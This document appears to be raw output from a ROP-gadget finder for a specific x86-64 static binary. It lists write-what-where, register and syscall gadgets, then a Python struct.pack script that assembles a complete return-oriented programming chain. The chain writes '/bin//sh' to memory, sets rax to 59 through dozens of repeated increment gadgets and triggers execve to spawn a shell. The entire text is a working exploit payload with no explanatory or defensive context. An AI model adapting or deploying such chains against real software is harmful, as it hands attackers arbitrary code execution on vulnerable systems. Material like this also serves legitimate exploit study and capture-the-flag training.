ROP chain generation ===========================================================
- Step 1 -- Write-what-where gadgets
[+] Gadget found: 0x47c601 mov qword ptr [rsi], rax ; ret [+] Gadget found: 0x4017b7 pop rsi ; ret [+] Gadget found: 0x480956 pop rax ; pop rdx ; pop rbx ; ret [+] Gadget found: 0x42660f xor rax, rax ; ret
- Step 2 -- Init syscall number gadgets
[+] Gadget found: 0x42660f xor rax, rax ; ret [+] Gadget found: 0x46ea20 add rax, 1 ; ret [+] Gadget found: 0x46ea21 add eax, 1 ; ret
- Step 3 -- Init syscall arguments gadgets
[+] Gadget found: 0x401696 pop rdi ; ret [+] Gadget found: 0x4017b7 pop rsi ; ret [+] Gadget found: 0x442e46 pop rdx ; ret
- Step 4 -- Syscall gadget
[+] Gadget found: 0x4003da syscall
- Step 5 -- Build the ROP chain
from struct import pack
p = ''
p += pack('<Q', 0x00000000004017b7) p += pack('<Q', 0x00000000006ca080) p += pack('<Q', 0x0000000000480956) p += '/bin//sh' p += pack('<Q', 0x4141414141414141) p += pack('<Q', 0x4141414141414141) p += pack('<Q', 0x000000000047c601) p += pack('<Q', 0x00000000004017b7) p += pack('<Q', 0x00000000006ca088) p += pack('<Q', 0x000000000042660f) p += pack('<Q', 0x000000000047c601) p += pack('<Q', 0x0000000000401696) p += pack('<Q', 0x00000000006ca080) p += pack('<Q', 0x00000000004017b7) p += pack('<Q', 0x00000000006ca088) p += pack('<Q', 0x0000000000442e46) p += pack('<Q', 0x00000000006ca088) p += pack('<Q', 0x000000000042660f) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x000000000046ea20) p += pack('<Q', 0x00000000004003da)
|